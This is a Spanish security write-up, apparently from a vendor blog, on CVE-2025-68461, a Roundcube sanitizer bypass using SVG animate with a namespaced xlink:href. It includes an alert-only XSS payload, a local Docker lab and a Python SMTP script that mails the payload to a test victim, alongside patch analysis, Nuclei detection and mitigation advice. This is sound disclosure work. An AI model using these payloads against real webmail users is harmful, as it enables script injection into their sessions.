Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

CVE-2025-68461: evasión del sanitizador de Roundcube mediante SVG animate (XSS)

CVE-2025-68461 (CVSS 7.2) permite que las etiquetas SVG animate eludan el sanitizador de Roundcube mediante prefijos de espacio de nombres. PoC, análisis del parche, detección con Nuclei y mitigación.

CVE-2025-68461

Evasión del sanitizador XSS de SVG animate en Roundcube Webmail - PoC y exploit

17 de diciembre de 2025 · CVSS 7.2 Alta · Roundcube < 1.5.12, < 1.6.12

ID de CVE CVSS Afectadas Corregidas
CVE-2025-68461 7.2 Alta < 1.5.12, < 1.6.12 1.5.12+,1.6.12+

Resumen de CVE-2025-68461: XSS mediante la etiqueta SVG animate

Roundcube Webmail es un cliente de correo web de código abierto ampliamente desplegado, incluido por defecto con cPanel y utilizado por universidades, empresas y organismos gubernamentales de todo el mundo.

Se descubrió una vulnerabilidad de cross-site scripting (XSS) almacenado en la forma en que el sanitizador HTML propio de Roundcube (rcube_washtml.php) gestiona las etiquetas SVG <animate>. El sanitizador se encarga de eliminar el contenido peligroso de los correos HTML antes de mostrarlos en el navegador del usuario. Identifica y bloquea correctamente los elementos <animate> que apuntan al atributo href, un vector conocido para inyectar URI javascript: mediante animaciones SMIL. Sin embargo, la comprobación no tiene en cuenta los prefijos de espacio de nombres XML. Cuando un atacante utiliza attributeName="xlink:href" en lugar de attributeName="href", la comparación de cadenas falla, toda la etiqueta <animate> atraviesa el sanitizador sin modificaciones y el payload javascript: del atributo values llega al navegador.

Evasión del sanitizador XSS: elusión mediante el prefijo de espacio de nombres

El núcleo del problema es una comparación de cadenas incompleta en la lógica con la que el sanitizador bloquea las etiquetas animate. Cuando el sanitizador encuentra elementos de animación SVG, comprueba si apuntan al atributo href y, en ese caso, los bloquea. La comprobación utiliza una función auxiliar que compara el valor de attributeName con la cadena literal "href". Esta comparación no elimina ni normaliza los prefijos de espacio de nombres XML, por lo que "xlink:href" no coincide con "href" y la etiqueta se deja pasar.

Código vulnerable

En rcube_washtml.php, el método dumpHtml() contiene la lógica de control de los elementos de animación:

else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
    && self::attribute_value($node, 'attributename', 'href')
) {
    $dump .= "<!-- {$tagName} blocked -->";
}

La función auxiliar attribute_value() realiza la comparación:

private static function attribute_value($node, $attr_name, $attr_value)
{
    foreach ($node->attributes as $name => $attr) {
        if (strtolower($name) === $attr_name) {
            $val = strtolower(trim($attr->nodeValue));
            if ($attr_value === $val) {
                return true;
            }
        }
    }
    return false;
}

Cuando attributeName="xlink:href":

  • strtolower(trim("xlink:href")) devuelve "xlink:href"
  • "href" === "xlink:href" se evalúa como false
  • La función devuelve false y toda la etiqueta <animate> atraviesa el sanitizador con su payload javascript: intacto

Además, el método wash_attribs() tiene una segunda ruta vulnerable para los atributos from y to de los elementos de animación:

if ($key == 'to' || $key == 'from') {
    $key = strtolower($node->getAttribute('attributeName'));  // "xlink:href"
    if ($key && !isset($this->_html_attribs[$key])) {
        $key = null;  // "xlink:href" not in allowlist → skip dangerous-attribute check
    }
}

Aquí, "xlink:href" no figura en la lista de permitidos _html_attribs, de modo que el nombre del atributo se establece en null y se omite por completo la sanitización de atributos peligrosos.

Qué devuelve el sanitizador

Dado el siguiente payload en un correo HTML:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="xlink:href" values="javascript:alert('CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14" style="text-decoration:underline;cursor:pointer">
      Click to view document
    </text>
  </a>
</svg>

El sanitizador devuelve la etiqueta <animate> y su payload javascript: completamente intactos. En cambio, el mismo payload con attributeName="href" se bloquea correctamente y se sustituye por <!-- animate blocked -->.

Prueba de concepto de CVE-2025-68461: confirmación de la evasión del sanitizador

Para verificar la vulnerabilidad, utilizamos un entorno local que demuestra, con una PoC personalizada, cómo el sanitizador de Roundcube no detecta los atributos con prefijo de espacio de nombres.

Entrega del payload

El payload se entrega enviando un correo HTML al buzón de Roundcube de la víctima mediante SMTP.

El entorno de pruebas utiliza Docker con Roundcube 1.6.11 y GreenMail como servidor de correo local, lo que evita necesitar credenciales SMTP externas:

  • docker-compose.yml:
version: "3.8"
services:
  greenmail:
    image: greenmail/standalone:2.0.1
    ports:
      - "3025:3025"   # SMTP
      - "3143:3143"   # IMAP
    environment:
      - GREENMAIL_OPTS=-Dgreenmail.setup.test.all -Dgreenmail.users=victim:victim@lab.local

  roundcube:
    image: roundcube/roundcubemail:1.6.11-apache
    ports:
      - "8080:80"
    environment:
      - ROUNDCUBEMAIL_DEFAULT_HOST=greenmail
      - ROUNDCUBEMAIL_DEFAULT_PORT=3143
      - ROUNDCUBEMAIL_SMTP_SERVER=greenmail
      - ROUNDCUBEMAIL_SMTP_PORT=3025
    depends_on:
      - greenmail
  • Script de Python para enviar el payload:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

PAYLOAD = """\
<html><body>
<p>Please review the attached document:</p>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14"
          style="text-decoration:underline;cursor:pointer">Click to view document</text>
  </a>
</svg>
<p>Best regards,<br>Document System</p>
</body></html>"""

msg = MIMEMultipart("alternative")
msg["From"] = "attacker@lab.local"
msg["To"] = "victim@lab.local"
msg["Subject"] = "Document Review Request"
msg.attach(MIMEText("View in HTML mode.", "plain"))
msg.attach(MIMEText(PAYLOAD, "html"))

with smtplib.SMTP("127.0.0.1", 3025) as server:
    server.sendmail("attacker@lab.local", ["victim@lab.local"], msg.as_string())

Verificación del DOM

Dos pruebas diferenciales confirman la evasión:

Prueba 1: attributeName="href" (bloqueado):

El sanitizador identifica y bloquea correctamente la etiqueta <animate>. El DOM renderizado muestra <!-- animate blocked --> en lugar del payload:

  • Payload :
<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="href" values="javascript:alert('CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14" style="text-decoration:underline;cursor:pointer">
      Click to view document
    </text>
  </a>
</svg>
  • Resultado :

Prueba 2: attributeName="xlink:href" (eludido):

La etiqueta <animate> con el URI javascript: completo atraviesa el sanitizador totalmente intacta:

  • Payload :
<svg width="200" height="50">
  <a class="v1a">
    <animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')"></animate>
    <text x="10" y="30" fill="blue" font-size="14"
          style="text-decoration: underline; cursor: pointer">Click to view document</text>
  </a>
</svg>
  • Resultado :

Por qué no se ejecuta JavaScript

Eliminación de espacios de nombres por dumpHtml()

El método dumpHtml() de Roundcube intenta volver a añadir las declaraciones de espacios de nombres al serializar los elementos SVG. No se trata de una medida de seguridad: existe porque DOMDocument::loadHTML() de PHP no entiende los espacios de nombres XML y los descarta durante el análisis. El método consulta el DOM en busca de los espacios de nombres que hayan sobrevivido y los vuelve a asociar:

if ($tagName == 'svg') {
    $xpath = new DOMXPath($node->ownerDocument);
    foreach ($xpath->query('namespace::*') as $ns) {
        if ($ns->nodeName != 'xmlns:xml') {
            $tag .= sprintf(' %s="%s"',
                $ns->nodeName,
                htmlspecialchars($ns->nodeValue, ENT_QUOTES, $this->config['charset'])
            );
        }
    }
}

El problema es que loadHTML() ya descartó la declaración xmlns:xlink="http://www.w3.org/1999/xlink" antes de que se ejecute este código. La consulta XPath no encuentra ningún espacio de nombres superviviente, por lo que la etiqueta <svg> se genera sin ningún atributo de espacio de nombres. El valor "xlink:href" de attributeName pasa sin cambios porque es una cadena dentro del valor de un atributo, no una declaración de espacio de nombres. Pero el navegador no tiene ningún espacio de nombres xlink con el que resolverlo. El motor SMIL no puede asociar xlink:href a una propiedad animable, por lo que animVal permanece vacío y el URI javascript: nunca se aplica.

Obsolescencia de xlink:href en los navegadores

El atributo xlink:href está obsoleto en SVG 2. SVG 2 eliminó por completo la necesidad del espacio de nombres xlink: debe usarse href en su lugar. Los navegadores modernos siguen admitiendo xlink:href por compatibilidad con versiones anteriores, pero solo cuando el espacio de nombres xlink está correctamente declarado. Dado que el proceso de tratamiento de Roundcube elimina esta declaración de espacio de nombres, el navegador no puede resolver xlink:href como una propiedad animable y la animación falla en silencio.

Confirmación

Esto se confirmó modificando dumpHtml() en el servidor para forzar las declaraciones de espacios de nombres correctas:

if ($tagName == 'svg') {
    $tag .= 'xmlns:xlink="http://www.w3.org/1999/xlink"';
}

Con este parche, al hacer clic en el enlace se activó alert() correctamente dentro de Roundcube. Al revertir el parche se restableció el comportamiento defectuoso.

La corrección de CVE-2025-68461

A continuación se resume cómo Roundcube corrigió una evasión crítica del filtro de atributos mediante la normalización de los espacios de nombres XML, seguido de una guía para usar Nuclei y detectar servidores vulnerables a escala mediante la extracción de la cadena de versión.

Análisis del código corregido

La corrección añade un paso que elimina el prefijo de espacio de nombres antes de la comparación:

// BEFORE (vulnerable): raw string comparison
$val = strtolower(trim($attr->nodeValue));
if ($attr_value === $val) {
    return true;
}

// AFTER (fixed): strip namespace prefix before comparison : xlink:href => href
$val = strtolower(trim($attr->nodeValue));
$val = trim(preg_replace('/^.*:/', '', strtolower($attr->nodeValue)));
if ($attr_value === $val) {
    return true;
}

Ahora "xlink:href" se convierte en "href" antes de la comparación y la etiqueta <animate> se bloquea correctamente.

Detección con Nuclei

Existe una plantilla de Nuclei para identificar a escala las instancias vulnerables de Roundcube. La plantilla extrae el entero rcversion del JavaScript de la página de inicio de sesión y lo compara con los rangos de versiones afectadas:

La plantilla coincide con cualquier instancia de Roundcube que ejecute una versión anterior a la 1.5.12 o anterior a la 1.6.12. No se requiere autenticación: la versión se expone en la página de inicio de sesión.

Mitigación de CVE-2025-68461 y buenas prácticas

  • Actualizar de inmediato: actualice a Roundcube 1.6.12 o 1.5.12 cuanto antes. Estas versiones contienen la corrección de CVE-2025-68461.
  • Content Security Policy: despliegue una cabecera CSP estricta que no permita URI javascript: ni la ejecución de scripts en línea, para disponer de defensa en profundidad frente al XSS.
  • Exposición de red: restrinja el acceso público a las interfaces de correo web siempre que sea posible. Las instancias de Roundcube son objetivos de alto valor para los grupos APT.
  • Supervisar la explotación: vigile los correos que contengan elementos SVG <animate>, en particular con xlink:href en el atributo attributeName.

Referencias

Recurso Enlace
Aviso de seguridad de Roundcube (1.6.12 / 1.5.12) https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12
Commit de la corrección bfa032631c https://github.com/roundcube/roundcubemail/commit/bfa032631c36b900e7444dfa278340b33cbf7cdb
NVD CVE-2025-68461 https://nvd.nist.gov/vuln/detail/CVE-2025-68461
CWE-79: Improper Neutralization of Input During Web Page Generation https://cwe.mitre.org/data/definitions/79.html
Plantilla de Nuclei https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2025-68461.yaml